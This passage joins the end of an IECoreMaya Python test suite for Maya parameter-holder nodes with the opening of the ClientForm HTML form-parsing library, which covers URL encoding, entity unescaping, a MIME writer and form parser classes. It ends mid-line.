) iPlugPath = fnOH.parameterPlugPath( op["i"] ) self.assertEqual( cmds.attributeQuery( iPlugPath.rpartition( "." )[-1], minExists=True, node=opNode ), False ) self.assertEqual( cmds.attributeQuery( iPlugPath.rpartition( "." )[-1], maxExists=True, node=opNode ), False ) # test min only op = IECore.Op( "", IECore.IntParameter( "result", "", 0 ) ) op.parameters().addParameter( IECore.IntParameter( "i", "d", 0, minValue = -10 ) ) opNode = cmds.createNode( "ieOpHolderNode" ) fnOH = IECoreMaya.FnOpHolder( opNode ) fnOH.setParameterised( op ) iPlugPath = fnOH.parameterPlugPath( op["i"] ) self.assertEqual( cmds.attributeQuery( iPlugPath.rpartition( "." )[-1], minExists=True, node=opNode ), True ) self.assertEqual( cmds.attributeQuery( iPlugPath.rpartition( "." )[-1], minimum=True, node=opNode )[0], -10 ) self.assertEqual( cmds.attributeQuery( iPlugPath.rpartition( "." )[-1], maxExists=True, node=opNode ), False ) # test min and max op = IECore.Op( "", IECore.IntParameter( "result", "", 0 ) ) op.parameters().addParameter( IECore.IntParameter( "i", "d", 0, minValue = -10, maxValue = 10 ) ) opNode = cmds.createNode( "ieOpHolderNode" ) fnOH = IECoreMaya.FnOpHolder( opNode ) fnOH.setParameterised( op ) iPlugPath = fnOH.parameterPlugPath( op["i"] ) self.assertEqual( cmds.attributeQuery( iPlugPath.rpartition( "." )[-1], minExists=True, node=opNode ), True ) self.assertEqual( cmds.attributeQuery( iPlugPath.rpartition( "." )[-1], minimum=True, node=opNode )[0], -10 ) self.assertEqual( cmds.attributeQuery( iPlugPath.rpartition( "." )[-1], maxExists=True, node=opNode ), True ) self.assertEqual( cmds.attributeQuery( iPlugPath.rpartition( "." )[-1], maximum=True, node=opNode )[0], 10 ) def testNumericParameterRangeAdded( self ) : op = IECore.Op( "", IECore.IntParameter( "result", "", 0 ) ) op.parameters().addParameter( IECore.IntParameter( "i", "d", 0 ) ) opNode = cmds.createNode( "ieOpHolderNode" ) fnOH = IECoreMaya.FnOpHolder( opNode ) fnOH.setParameterised( op ) iPlugPath = fnOH.parameterPlugPath( op["i"] ) self.assertEqual( cmds.attributeQuery( iPlugPath.rpartition( "." )[-1], minExists=True, node=opNode ), False ) self.assertEqual( cmds.attributeQuery( iPlugPath.rpartition( "." )[-1], maxExists=True, node=opNode ), False ) op = IECore.Op( "", IECore.IntParameter( "result", "", 0 ) ) op.parameters().addParameter( IECore.IntParameter( "i", "d", 0, minValue = -2, maxValue = 2, ) ) fnOH.setParameterised( op ) self.assertEqual( cmds.attributeQuery( iPlugPath.rpartition( "." )[-1], minExists=True, node=opNode ), True ) self.assertEqual( cmds.attributeQuery( iPlugPath.rpartition( "." )[-1], minimum=True, node=opNode )[0], -2 ) self.assertEqual( cmds.attributeQuery( iPlugPath.rpartition( "." )[-1], maxExists=True, node=opNode ), True ) self.assertEqual( cmds.attributeQuery( iPlugPath.rpartition( "." )[-1], maximum=True, node=opNode )[0], 2 ) def testNumericParameterRangeRemoved( self ) : op = IECore.Op( "", IECore.IntParameter( "result", "", 0 ) ) op.parameters().addParameter( IECore.IntParameter( "i", "d", 0, minValue = -2, maxValue = 2, ) ) opNode = cmds.createNode( "ieOpHolderNode" ) fnOH = IECoreMaya.FnOpHolder( opNode ) fnOH.setParameterised( op ) iPlugPath = fnOH.parameterPlugPath( op["i"] ) self.assertEqual( cmds.attributeQuery( iPlugPath.rpartition( "." )[-1], minExists=True, node=opNode ), True ) self.assertEqual( cmds.attributeQuery( iPlugPath.rpartition( "." )[-1], minimum=True, node=opNode )[0], -2 ) self.assertEqual( cmds.attributeQuery( iPlugPath.rpartition( "." )[-1], maxExists=True, node=opNode ), True ) self.assertEqual( cmds.attributeQuery( iPlugPath.rpartition( "." )[-1], maximum=True, node=opNode )[0], 2 ) op = IECore.Op( "", IECore.IntParameter( "result", "", 0 ) ) op.parameters().addParameter( IECore.IntParameter( "i", "d", 0 ) ) fnOH.setParameterised( op ) self.assertEqual( cmds.attributeQuery( iPlugPath.rpartition( "." )[-1], minExists=True, node=opNode ), False ) self.assertEqual( cmds.attributeQuery( iPlugPath.rpartition( "." )[-1], maxExists=True, node=opNode ), False ) def testParameterTypeChanges( self ) : """Test maya attribute type with changing parameters types.""" n = cmds.createNode( 'ieParameterisedHolderNode' ) a = IECore.Parameterised( "a" ) a.parameters().addParameter( IECore.IntParameter( "theParameter", "", 1 ) ) b = IECore.Parameterised( "b" ) b.parameters().addParameter( IECore.StringParameter( "theParameter", "", "" ) ) c = IECore.Parameterised( "c" ) c.parameters().addParameter( IECore.FloatParameter( "theParameter", "", 1.0 ) ) fnPH = IECoreMaya.FnParameterisedHolder( n ) fnPH.setParameterised( a ) fnPH.setNodeValues() # Check the Maya attribute holds an int. plugPath = fnPH.parameterPlugPath( a["theParameter"] ) cmds.setAttr( plugPath, 2.75 ) self.assertEqual( cmds.getAttr(plugPath), 3 ) fnPH.setParameterised( b ) fnPH.setNodeValues() # Should be a string now plugPath = fnPH.parameterPlugPath( b["theParameter"] ) cmds.setAttr( plugPath, "test", type="string" ) self.assertEqual( cmds.getAttr(plugPath), "test" ) fnPH.setParameterised( c ) fnPH.setNodeValues() # Should be a float now plugPath = fnPH.parameterPlugPath( c["theParameter"] ) cmds.setAttr( plugPath, 3.75 ) self.assertEqual( cmds.getAttr(plugPath), 3.75 ) fnPH.setParameterised( a ) fnPH.setNodeValues() # Should be an int again plugPath = fnPH.parameterPlugPath( a["theParameter"] ) cmds.setAttr( plugPath, 4.75 ) self.assertEqual( cmds.getAttr(plugPath), 5 ) def testRemoveLockedAttributes( self ) : op = IECore.Op( "", IECore.IntParameter( "result", "", 0 ) ) op.parameters().addParameter( IECore.IntParameter( "i", "d", 0 ) ) opNode = cmds.createNode( "ieOpHolderNode" ) fnOH = IECoreMaya.FnOpHolder( opNode ) fnOH.setParameterised( op ) iPlugPath = fnOH.parameterPlugPath( op["i"] ) cmds.setAttr( iPlugPath, lock=True ) del op.parameters()["i"] fnOH.setParameterised( op ) self.failIf( cmds.objExists( iPlugPath ) ) def testRemoveLockedChildAttributes( self ) : op = IECore.Op( "", IECore.IntParameter( "result", "", 0 ) ) op.parameters().addParameter( IECore.V3fParameter( "v", "d", IECore.V3f( 0 ), ) ) opNode = cmds.createNode( "ieOpHolderNode" ) fnOH = IECoreMaya.FnOpHolder( opNode ) fnOH.setParameterised( op ) vPlugPath = fnOH.parameterPlugPath( op["v"] ) cmds.setAttr( vPlugPath + "X", lock=True ) del op.parameters()["v"] fnOH.setParameterised( op ) self.failIf( cmds.objExists( vPlugPath ) ) def testStorable( self ) : op = IECore.Op( "", IECore.IntParameter( "result", "", 0 ) ) op.parameters().addParameters( [ IECore.BoolParameter( name = "a", description = "", defaultValue = True, ), IECore.IntParameter( name = "b", description = "", defaultValue = 1, userData = IECore.CompoundObject( { "maya" : { "storable" : IECore.BoolData( False ) } } ) ), IECore.StringParameter( name = "c", description = "", defaultValue = "", userData = IECore.CompoundObject( { "maya" : { "storable" : IECore.BoolData( True ) } } ) ), ] ) opNode = cmds.createNode( "ieOpHolderNode" ) fnOH = IECoreMaya.FnOpHolder( opNode ) fnOH.setParameterised( op ) self.assertEqual( cmds.attributeQuery( fnOH.parameterPlugPath( op["a"] ).split( "." )[-1], storable=True, node=opNode ), True ) self.assertEqual( cmds.attributeQuery( fnOH.parameterPlugPath( op["b"] ).split( "." )[-1], storable=True, node=opNode ), False ) self.assertEqual( cmds.attributeQuery( fnOH.parameterPlugPath( op["c"] ).split( "." )[-1], storable=True, node=opNode ), True ) with fnOH.parameterModificationContext() : op["a"].userData()["maya"] = IECore.CompoundObject( { "storable" : IECore.BoolData( False ) } ) op["b"].userData()["maya"]["storable"] = IECore.BoolData( True ) self.assertEqual( cmds.attributeQuery( fnOH.parameterPlugPath( op["a"] ).split( "." )[-1], storable=True, node=opNode ), False ) self.assertEqual( cmds.attributeQuery( fnOH.parameterPlugPath( op["b"] ).split( "." )[-1], storable=True, node=opNode ), True ) def testBadArgsDoNotSegFault( self ) : opNode = cmds.createNode( "ieOpHolderNode" ) fnOH = IECoreMaya.FnOpHolder( opNode ) self.assertRaises( RuntimeError, IECore.curry( fnOH.setOp, "fake", -1 ) ) def testShouldSave( self ) : class TestProcedural( IECore.ParameterisedProcedural ) : def __init__( self ) : IECore.ParameterisedProcedural.__init__( self, "" ) self.parameters().addParameter( IECore.V3fParameter( "halfSize", "", IECore.V3f( 0 ) ) ) def doBound( self, args ) : return IECore.Box3f( -args["halfSize"].value, args["halfSize"].value ) def doRenderState( self, args ) : pass def doRender( self, args ) : pass node = cmds.createNode( "ieProceduralHolder" ) fnPH = IECoreMaya.FnParameterisedHolder( str( node ) ) p = TestProcedural() fnPH.setParameterised( p ) cmds.setAttr( node + ".nodeState", 4 ) # Save the scene out so we can reference it filename = os.path.join( os.getcwd(), "test", "IECoreMaya", "shouldSaveAttributes.ma") cmds.file( rename = filename ) referenceScene = cmds.file( force = True, type = "mayaAscii", save = True ) mayaFile = open( filename, 'r' ) setAttrs = mayaFile.read().partition("createNode ieProceduralHolder")[2].partition("createNode")[0].split("\n")[1:] splitAttrs = [i.split('"') for i in setAttrs if "setAttr" in i] savedAttrNames = [ i[1] for i in splitAttrs if len(i) >= 2] mayaFile.close() self.assertTrue( ".nds" in savedAttrNames ) # Check that the nodeState attr we changed has been written self.assertTrue( not ".ihi" in savedAttrNames ) # Check that the isHistoricallyInteresting parm that is left default is not exported # Parm parameters are always saved, even when left default ( for backwards compatibility reasons ) self.assertTrue( ".parm_halfSize" in savedAttrNames, msg = " ".join( savedAttrNames ) ) # This test can be removed if we decide our parameters don't require a special case def tearDown( self ) : for f in [ "test/IECoreMaya/op.ma" , "test/IECoreMaya/defaultConnections.ma" , "test/IECoreMaya/compoundObjectConnections.ma" , "test/IECoreMaya/reference.ma" , "test/IECoreMaya/referenceMaster.ma", "test/IECoreMaya/classParameterReference.ma" , "test/IECoreMaya/classParameterReferencer.ma" , "test/IECoreMaya/objectParameterIO.ma", "test/IECoreMaya/objectMFnDataParameterIO.ma", "test/IECoreMaya/imageProcedural.ma", "test/IECoreMaya/classParameter.ma", "test/IECoreMaya/classVectorParameter.ma", "test/IECoreMaya/nonStorableObjectParameter.ma", "test/IECoreMaya/connectedNodeReference.ma", "test/IECoreMaya/connectedNodeReference2.ma", "test/IECoreMaya/meshParameterIO.ma", "test/IECoreMaya/shouldSaveAttributes.ma", ] : if os.path.exists( f ) : os.remove( f ) if __name__ == "__main__": IECoreMaya.TestProgram( plugins = [ "ieCore" ] )
codeparrot/github-code-clean
"""HTML form handling for web clients. ClientForm is a Python module for handling HTML forms on the client side, useful for parsing HTML forms, filling them in and returning the completed forms to the server. It has developed from a port of Gisle Aas' Perl module HTML::Form, from the libwww-perl library, but the interface is not the same. The most useful docstring is the one for HTMLForm. RFC 1866: HTML 2.0 RFC 1867: Form-based File Upload in HTML RFC 2388: Returning Values from Forms: multipart/form-data HTML 3.2 Specification, W3C Recommendation 14 January 1997 (for ISINDEX) HTML 4.01 Specification, W3C Recommendation 24 December 1999 Copyright 2002-2006 John J. Lee <jjl@pobox.com> Copyright 2005 Gary Poster Copyright 2005 Zope Corporation Copyright 1998-2000 Gisle Aas. This code is free software; you can redistribute it and/or modify it under the terms of the BSD or ZPL 2.1 licenses (see the file COPYING.txt included with the distribution). """ # XXX # add an __all__ # Remove parser testing hack # safeUrl()-ize action # Switch to unicode throughout (would be 0.3.x) # See Wichert Akkerman's 2004-01-22 message to c.l.py. # Add charset parameter to Content-type headers? How to find value?? # Add some more functional tests # Especially single and multiple file upload on the internet. # Does file upload work when name is missing? Sourceforge tracker form # doesn't like it. Check standards, and test with Apache. Test # binary upload with Apache. # mailto submission & enctype text/plain # I'm not going to fix this unless somebody tells me what real servers # that want this encoding actually expect: If enctype is # application/x-www-form-urlencoded and there's a FILE control present. # Strictly, it should be 'name=data' (see HTML 4.01 spec., section # 17.13.2), but I send "name=" ATM. What about multiple file upload?? # Would be nice, but I'm not going to do it myself: # ------------------------------------------------- # Maybe a 0.4.x? # Replace by_label etc. with moniker / selector concept. Allows, eg., # a choice between selection by value / id / label / element # contents. Or choice between matching labels exactly or by # substring. Etc. # Remove deprecated methods. # ...what else? # Work on DOMForm. # XForms? Don't know if there's a need here. try: True except NameError: True = 1 False = 0 try: bool except NameError: def bool(expr): if expr: return True else: return False try: import logging except ImportError: def debug(msg, *args, **kwds): pass else: _logger = logging.getLogger("ClientForm") OPTIMIZATION_HACK = True def debug(msg, *args, **kwds): if OPTIMIZATION_HACK: return try: raise Exception() except: caller_name = ( sys.exc_info()[2].tb_frame.f_back.f_back.f_code.co_name) extended_msg = '%%s %s' % msg extended_args = (caller_name,)+args debug = _logger.debug(extended_msg, *extended_args, **kwds) def _show_debug_messages(): global OPTIMIZATION_HACK OPTIMIZATION_HACK = False _logger.setLevel(logging.DEBUG) handler = logging.StreamHandler(sys.stdout) handler.setLevel(logging.DEBUG) _logger.addHandler(handler) import sys, urllib, urllib2, types, mimetools, copy, urlparse, \ htmlentitydefs, re, random from cStringIO import StringIO import sgmllib # monkeypatch to fix http://www.python.org/sf/803422 :-( sgmllib.charref = re.compile("&#(x?[0-9a-fA-F]+)[^0-9a-fA-F]") # HTMLParser.HTMLParser is recent, so live without it if it's not available # (also, sgmllib.SGMLParser is much more tolerant of bad HTML) try: import HTMLParser except ImportError: HAVE_MODULE_HTMLPARSER = False else: HAVE_MODULE_HTMLPARSER = True try: import warnings except ImportError: def deprecation(message): pass else: def deprecation(message): warnings.warn(message, DeprecationWarning, stacklevel=2) VERSION = "0.2.7" CHUNK = 1024 # size of chunks fed to parser, in bytes DEFAULT_ENCODING = "latin-1" class Missing: pass _compress_re = re.compile(r"\s+") def compress_text(text): return _compress_re.sub(" ", text.strip()) def normalize_line_endings(text): return re.sub(r"(?:(?<!\r)\n)|(?:\r(?!\n))", "\r\n", text) # This version of urlencode is from my Python 1.5.2 back-port of the # Python 2.1 CVS maintenance branch of urllib. It will accept a sequence # of pairs instead of a mapping -- the 2.0 version only accepts a mapping. def urlencode(query,doseq=False,): """Encode a sequence of two-element tuples or dictionary into a URL query \ string. If any values in the query arg are sequences and doseq is true, each sequence element is converted to a separate parameter. If the query arg is a sequence of two-element tuples, the order of the parameters in the output will match the order of parameters in the input. """ if hasattr(query,"items"): # mapping objects query = query.items() else: # it's a bother at times that strings and string-like objects are # sequences... try: # non-sequence items should not work with len() x = len(query) # non-empty strings will fail this if len(query) and type(query[0]) != types.TupleType: raise TypeError() # zero-length sequences of all types will get here and succeed, # but that's a minor nit - since the original implementation # allowed empty dicts that type of behavior probably should be # preserved for consistency except TypeError: ty,va,tb = sys.exc_info() raise TypeError("not a valid non-string sequence or mapping " "object", tb) l = [] if not doseq: # preserve old behavior for k, v in query: k = urllib.quote_plus(str(k)) v = urllib.quote_plus(str(v)) l.append(k + '=' + v) else: for k, v in query: k = urllib.quote_plus(str(k)) if type(v) == types.StringType: v = urllib.quote_plus(v) l.append(k + '=' + v) elif type(v) == types.UnicodeType: # is there a reasonable way to convert to ASCII? # encode generates a string, but "replace" or "ignore" # lose information and "strict" can raise UnicodeError v = urllib.quote_plus(v.encode("ASCII","replace")) l.append(k + '=' + v) else: try: # is this a sufficient test for sequence-ness? x = len(v) except TypeError: # not a sequence v = urllib.quote_plus(str(v)) l.append(k + '=' + v) else: # loop over the sequence for elt in v: l.append(k + '=' + urllib.quote_plus(str(elt))) return '&'.join(l) def unescape(data, entities, encoding=DEFAULT_ENCODING): if data is None or "&" not in data: return data def replace_entities(match, entities=entities, encoding=encoding): ent = match.group() if ent[1] == "#": return unescape_charref(ent[2:-1], encoding) repl = entities.get(ent) if repl is not None: if type(repl) != type(""): try: repl = repl.encode(encoding) except UnicodeError: repl = ent else: repl = ent return repl return re.sub(r"&#?[A-Za-z0-9]+?;", replace_entities, data) def unescape_charref(data, encoding): name, base = data, 10 if name.startswith("x"): name, base= name[1:], 16 uc = unichr(int(name, base)) if encoding is None: return uc else: try: repl = uc.encode(encoding) except UnicodeError: repl = "&#%s;" % data return repl def get_entitydefs(): import htmlentitydefs from codecs import latin_1_decode entitydefs = {} try: htmlentitydefs.name2codepoint except AttributeError: entitydefs = {} for name, char in htmlentitydefs.entitydefs.items(): uc = latin_1_decode(char)[0] if uc.startswith("&#") and uc.endswith(";"): uc = unescape_charref(uc[2:-1], None) entitydefs["&%s;" % name] = uc else: for name, codepoint in htmlentitydefs.name2codepoint.items(): entitydefs["&%s;" % name] = unichr(codepoint) return entitydefs def issequence(x): try: x[0] except (TypeError, KeyError): return False except IndexError: pass return True def isstringlike(x): try: x+"" except: return False else: return True def choose_boundary(): """Return a string usable as a multipart boundary.""" # follow IE and firefox nonce = "".join([str(random.randint(0, sys.maxint-1)) for i in 0,1,2]) return "-"*27 + nonce # This cut-n-pasted MimeWriter from standard library is here so can add # to HTTP headers rather than message body when appropriate. It also uses # \r\n in place of \n. This is a bit nasty. class MimeWriter: """Generic MIME writer. Methods: __init__() addheader() flushheaders() startbody() startmultipartbody() nextpart() lastpart() A MIME writer is much more primitive than a MIME parser. It doesn't seek around on the output file, and it doesn't use large amounts of buffer space, so you have to write the parts in the order they should occur on the output file. It does buffer the headers you add, allowing you to rearrange their order. General usage is: f = <open the output file> w = MimeWriter(f) ...call w.addheader(key, value) 0 or more times... followed by either: f = w.startbody(content_type) ...call f.write(data) for body data... or: w.startmultipartbody(subtype) for each part: subwriter = w.nextpart() ...use the subwriter's methods to create the subpart... w.lastpart() The subwriter is another MimeWriter instance, and should be treated in the same way as the toplevel MimeWriter. This way, writing recursive body parts is easy. Warning: don't forget to call lastpart()! XXX There should be more state so calls made in the wrong order are detected. Some special cases: - startbody() just returns the file passed to the constructor; but don't use this knowledge, as it may be changed. - startmultipartbody() actually returns a file as well; this can be used to write the initial 'if you can read this your mailer is not MIME-aware' message. - If you call flushheaders(), the headers accumulated so far are written out (and forgotten); this is useful if you don't need a body part at all, e.g. for a subpart of type message/rfc822 that's (mis)used to store some header-like information. - Passing a keyword argument 'prefix=<flag>' to addheader(), start*body() affects where the header is inserted; 0 means append at the end, 1 means insert at the start; default is append for addheader(), but insert for start*body(), which use it to determine where the Content-type header goes. """ def __init__(self, fp, http_hdrs=None): self._http_hdrs = http_hdrs self._fp = fp self._headers = [] self._boundary = [] self._first_part = True def addheader(self, key, value, prefix=0, add_to_http_hdrs=0): """ prefix is ignored if add_to_http_hdrs is true. """ lines = value.split("\r\n") while lines and not lines[-1]: del lines[-1] while lines and not lines[0]: del lines[0] if add_to_http_hdrs: value = "".join(lines) self._http_hdrs.append((key, value)) else: for i in range(1, len(lines)): lines[i] = " " + lines[i].strip() value = "\r\n".join(lines) + "\r\n" line = key + ": " + value if prefix: self._headers.insert(0, line) else: self._headers.append(line) def flushheaders(self): self._fp.writelines(self._headers) self._headers = [] def startbody(self, ctype=None, plist=[], prefix=1, add_to_http_hdrs=0, content_type=1): """ prefix is ignored if add_to_http_hdrs is true. """ if content_type and ctype: for name, value in plist: ctype = ctype + ';\r\n %s=%s' % (name, value) self.addheader("Content-type", ctype, prefix=prefix, add_to_http_hdrs=add_to_http_hdrs) self.flushheaders() if not add_to_http_hdrs: self._fp.write("\r\n") self._first_part = True return self._fp def startmultipartbody(self, subtype, boundary=None, plist=[], prefix=1, add_to_http_hdrs=0, content_type=1): boundary = boundary or choose_boundary() self._boundary.append(boundary) return self.startbody("multipart/" + subtype, [("boundary", boundary)] + plist, prefix=prefix, add_to_http_hdrs=add_to_http_hdrs, content_type=content_type) def nextpart(self): boundary = self._boundary[-1] if self._first_part: self._first_part = False else: self._fp.write("\r\n") self._fp.write("--" + boundary + "\r\n") return self.__class__(self._fp) def lastpart(self): if self._first_part: self.nextpart() boundary = self._boundary.pop() self._fp.write("\r\n--" + boundary + "--\r\n") class LocateError(ValueError): pass class AmbiguityError(LocateError): pass class ControlNotFoundError(LocateError): pass class ItemNotFoundError(LocateError): pass class ItemCountError(ValueError): pass # for backwards compatibility, ParseError derives from exceptions that were # raised by versions of ClientForm <= 0.2.5 if HAVE_MODULE_HTMLPARSER: SGMLLIB_PARSEERROR = sgmllib.SGMLParseError class ParseError(sgmllib.SGMLParseError, HTMLParser.HTMLParseError, ): pass else: if hasattr(sgmllib, "SGMLParseError"): SGMLLIB_PARSEERROR = sgmllib.SGMLParseError class ParseError(sgmllib.SGMLParseError): pass else: SGMLLIB_PARSEERROR = RuntimeError class ParseError(RuntimeError): pass class _AbstractFormParser: """forms attribute contains HTMLForm instances on completion.""" # thanks to Moshe Zadka for an example of sgmllib/htmllib usage def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): if entitydefs is None: entitydefs = get_entitydefs() self._entitydefs = entitydefs self._encoding = encoding self.base = None self.forms = [] self.labels = [] self._current_label = None self._current_form = None self._select = None self._optgroup = None self._option = None self._textarea = None # forms[0] will contain all controls that are outside of any form # self._global_form is an alias for self.forms[0] self._global_form = None self.start_form([]) self.end_form() self._current_form = self._global_form = self.forms[0] def do_base(self, attrs): debug("%s", attrs) for key, value in attrs: if key == "href": self.base = value def end_body(self): debug("") if self._current_label is not None: self.end_label() if self._current_form is not self._global_form: self.end_form() def start_form(self, attrs): debug("%s", attrs) if self._current_form is not self._global_form: raise ParseError("nested FORMs") name = None action = None enctype = "application/x-www-form-urlencoded" method = "GET" d = {} for key, value in attrs: if key == "name": name = value elif key == "action": action = value elif key == "method": method = value.upper() elif key == "enctype": enctype = value.lower() d[key] = value controls = [] self._current_form = (name, action, method, enctype), d, controls def end_form(self): debug("") if self._current_label is not None: self.end_label() if self._current_form is self._global_form: raise ParseError("end of FORM before start") self.forms.append(self._current_form) self._current_form = self._global_form def start_select(self, attrs): debug("%s", attrs) if self._select is not None: raise ParseError("nested SELECTs") if self._textarea is not None: raise ParseError("SELECT inside TEXTAREA") d = {} for key, val in attrs: d[key] = val self._select = d self._add_label(d) self._append_select_control({"__select": d}) def end_select(self): debug("") if self._current_form is self._global_form: return if self._select is None: raise ParseError("end of SELECT before start") if self._option is not None: self._end_option() self._select = None def start_optgroup(self, attrs): debug("%s", attrs) if self._select is None: raise ParseError("OPTGROUP outside of SELECT") d = {} for key, val in attrs: d[key] = val self._optgroup = d def end_optgroup(self): debug("") if self._optgroup is None: raise ParseError("end of OPTGROUP before start") self._optgroup = None def _start_option(self, attrs): debug("%s", attrs) if self._select is None: raise ParseError("OPTION outside of SELECT") if self._option is not None: self._end_option() d = {} for key, val in attrs: d[key] = val self._option = {} self._option.update(d) if (self._optgroup and self._optgroup.has_key("disabled") and not self._option.has_key("disabled")): self._option["disabled"] = None def _end_option(self): debug("") if self._option is None: raise ParseError("end of OPTION before start") contents = self._option.get("contents", "").strip() self._option["contents"] = contents if not self._option.has_key("value"): self._option["value"] = contents if not self._option.has_key("label"): self._option["label"] = contents # stuff dict of SELECT HTML attrs into a special private key # (gets deleted again later) self._option["__select"] = self._select self._append_select_control(self._option) self._option = None def _append_select_control(self, attrs): debug("%s", attrs) controls = self._current_form[2] name = self._select.get("name") controls.append(("select", name, attrs)) def start_textarea(self, attrs): debug("%s", attrs) if self._textarea is not None: raise ParseError("nested TEXTAREAs") if self._select is not None: raise ParseError("TEXTAREA inside SELECT") d = {} for key, val in attrs: d[key] = val self._add_label(d) self._textarea = d def end_textarea(self): debug("") if self._current_form is self._global_form: return if self._textarea is None: raise ParseError("end of TEXTAREA before start") controls = self._current_form[2] name = self._textarea.get("name") controls.append(("textarea", name, self._textarea)) self._textarea = None def start_label(self, attrs): debug("%s", attrs) if self._current_label: self.end_label() d = {} for key, val in attrs: d[key] = val taken = bool(d.get("for")) # empty id is invalid d["__text"] = "" d["__taken"] = taken if taken: self.labels.append(d) self._current_label = d def end_label(self): debug("") label = self._current_label if label is None: # something is ugly in the HTML, but we're ignoring it return self._current_label = None label["__text"] = label["__text"] # if it is staying around, it is True in all cases del label["__taken"] def _add_label(self, d): #debug("%s", d) if self._current_label is not None: if self._current_label["__taken"]: self.end_label() # be fuzzy else: self._current_label["__taken"] = True d["__label"] = self._current_label def handle_data(self, data): debug("%s", data) # according to http://www.w3.org/TR/html4/appendix/notes.html#h-B.3.1 # line break immediately after start tags or immediately before end # tags must be ignored, but real browsers only ignore a line break # after a start tag, so we'll do that. if data[0:2] == "\r\n": data = data[2:] if data[0:1] in ["\n", "\r"]: data = data[1:] if self._option is not None: # self._option is a dictionary of the OPTION element's HTML # attributes, but it has two special keys, one of which is the # special "contents" key contains text between OPTION tags (the # other is the "__select" key: see the end_option method) map = self._option key = "contents" elif self._textarea is not None: map = self._textarea key = "value" data = normalize_line_endings(data) # not if within option or textarea elif self._current_label is not None: map = self._current_label key = "__text" else: return if not map.has_key(key): map[key] = data else: map[key] = map[key] + data def do_button(self, attrs): debug("%s", attrs) d = {} d["type"] = "submit" # default for key, val in attrs: d[key] = val controls = self._current_form[2] type = d["type"] name = d.get("name") # we don't want to lose information, so use a type string that # doesn't clash with INPUT TYPE={SUBMIT,RESET,BUTTON} # e.g. type for BUTTON/RESET is "resetbutton" # (type for INPUT/RESET is "reset") type = type+"button" self._add_label(d) controls.append((type, name, d)) def do_input(self, attrs): debug("%s", attrs) d = {} d["type"] = "text" # default for key, val in attrs: d[key] = val controls = self._current_form[2] type = d["type"] name = d.get("name") self._add_label(d) controls.append((type, name, d)) def do_isindex(self, attrs): debug("%s", attrs) d = {} for key, val in attrs: d[key] = val controls = self._current_form[2] self._add_label(d) # isindex doesn't have type or name HTML attributes controls.append(("isindex", None, d)) def handle_entityref(self, name): #debug("%s", name) self.handle_data(unescape( '&%s;' % name, self._entitydefs, self._encoding)) def handle_charref(self, name): #debug("%s", name) self.handle_data(unescape_charref(name, self._encoding)) def unescape_attr(self, name): #debug("%s", name) return unescape(name, self._entitydefs, self._encoding) def unescape_attrs(self, attrs): #debug("%s", attrs) escaped_attrs = {} for key, val in attrs.items(): try: val.items except AttributeError: escaped_attrs[key] = self.unescape_attr(val) else: # e.g. "__select" -- yuck! escaped_attrs[key] = self.unescape_attrs(val) return escaped_attrs def unknown_entityref(self, ref): self.handle_data("&%s;" % ref) def unknown_charref(self, ref): self.handle_data("&#%s;" % ref) if not HAVE_MODULE_HTMLPARSER: class XHTMLCompatibleFormParser: def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): raise ValueError("HTMLParser could not be imported") else: class XHTMLCompatibleFormParser(_AbstractFormParser, HTMLParser.HTMLParser): """Good for XHTML, bad for tolerance of incorrect HTML.""" # thanks to Michael Howitz for this! def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): HTMLParser.HTMLParser.__init__(self) _AbstractFormParser.__init__(self, entitydefs, encoding) def feed(self, data): try: HTMLParser.HTMLParser.feed(self, data) except HTMLParser.HTMLParseError, exc: raise ParseError(exc) def start_option(self, attrs): _AbstractFormParser._start_option(self, attrs) def end_option(self): _AbstractFormParser._end_option(self) def handle_starttag(self, tag, attrs): try: method = getattr(self, "start_" + tag) except AttributeError: try: method = getattr(self, "do_" + tag) except AttributeError: pass # unknown tag else: method(attrs) else: method(attrs) def handle_endtag(self, tag): try: method = getattr(self, "end_" + tag) except AttributeError: pass # unknown tag else: method() def unescape(self, name): # Use the entitydefs passed into constructor, not # HTMLParser.HTMLParser's entitydefs. return self.unescape_attr(name) def unescape_attr_if_required(self, name): return name # HTMLParser.HTMLParser already did it def unescape_attrs_if_required(self, attrs): return attrs # ditto class _AbstractSgmllibParser(_AbstractFormParser): def do_option(self, attrs): _AbstractFormParser._start_option(self, attrs) if sys.version_info[:2] >= (2,5): # we override this attr to decode hex charrefs entity_or_charref = re.compile( '&(?:([a-zA-Z][-.a-zA-Z0-9]*)|#(x?[0-9a-fA-F]+))(;?)') def convert_entityref(self, name): return unescape("&%s;" % name, self._entitydefs, self._encoding) def convert_charref(self, name): return unescape_charref("%s" % name, self._encoding) def unescape_attr_if_required(self, name): return name # sgmllib already did it def unescape_attrs_if_required(self, attrs): return attrs # ditto else: def unescape_attr_if_required(self, name): return self.unescape_attr(name) def unescape_attrs_if_required(self, attrs): return self.unescape_attrs(attrs) class FormParser(_AbstractSgmllibParser, sgmllib.SGMLParser): """Good for tolerance of incorrect HTML, bad for XHTML.""" def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): sgmllib.SGMLParser.__init__(self) _AbstractFormParser.__init__(self, entitydefs, encoding) def feed(self, data): try: sgmllib.SGMLParser.feed(self, data) except SGMLLIB_PARSEERROR, exc: raise ParseError(exc) # sigh, must support mechanize by allowing dynamic creation of classes based on # its bundled copy of BeautifulSoup (which was necessary because of dependency # problems) def _create_bs_classes(bs, icbinbs, ): class _AbstractBSFormParser(_AbstractSgmllibParser): bs_base_class = None def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): _AbstractFormParser.__init__(self, entitydefs, encoding) self.bs_base_class.__init__(self) def handle_data(self, data): _AbstractFormParser.handle_data(self, data) self.bs_base_class.handle_data(self, data) def feed(self, data): try: self.bs_base_class.feed(self, data) except SGMLLIB_PARSEERROR, exc: raise ParseError(exc) class RobustFormParser(_AbstractBSFormParser, bs): """Tries to be highly tolerant of incorrect HTML.""" pass RobustFormParser.bs_base_class = bs class NestingRobustFormParser(_AbstractBSFormParser, icbinbs): """Tries to be highly tolerant of incorrect HTML. Different from RobustFormParser in that it more often guesses nesting above missing end tags (see BeautifulSoup docs). """ pass NestingRobustFormParser.bs_base_class = icbinbs return RobustFormParser, NestingRobustFormParser try: if sys.version_info[:2] < (2, 2): raise ImportError # BeautifulSoup uses generators import BeautifulSoup except ImportError: pass else: RobustFormParser, NestingRobustFormParser = _create_bs_classes( BeautifulSoup.BeautifulSoup, BeautifulSoup.ICantBelieveItsBeautifulSoup ) #FormParser = 